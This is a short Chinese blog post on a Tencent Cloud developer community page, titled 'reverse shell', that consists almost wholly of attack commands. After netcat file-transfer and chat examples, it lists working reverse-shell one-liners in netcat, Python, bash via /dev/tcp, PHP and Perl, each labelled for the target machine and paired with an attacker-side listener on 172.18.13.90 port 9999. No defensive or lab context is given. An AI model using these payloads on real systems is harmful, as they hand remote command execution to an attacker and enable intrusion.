前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >反向shell

反向shell

原创
作者头像
浪子云
发布2022-06-26 22:02:51
4520
发布2022-06-26 22:02:51
举报
文章被收录于专栏:子云笔记子云笔记
代码语言:javascript
复制
apt-get -y install netcat-traditional
update-alternatives --config nc 

nc文件传输
接受端:nc -lp 333 > 1.exe
发送端:nc -vn 172.18.13.90 333 < 4.1.exe -q 1

nc简易聊天
A:nc -l -p 888
B:nc -vn 172.18.13.90 888

nc反向shell:
目标机:nc 172.18.13.90 9999 -e /usr/bin/bash
攻击机:nc -lvp 9999

python反向shell
目标机:python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.13.90",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
攻击机:nc -lvp 9999


bash反向shell
目标机:bash -i >& /dev/tcp/172.18.13.90/9999 0>&1
攻击机:nc -lvp 9999

php反向shell
apt install php7.4
目标机:php -r '$sock=fsockopen("172.18.13.90",9999);exec("/usr/bin/sh -i <&3 >&3 2>&3");'
攻击机:nc -lvp 9999

perl反向shell
目标机:perl -e 'use Socket;$i="172.18.13.90";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/usr/bin/sh -i");};'
攻击机:nc -lvp 9999

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com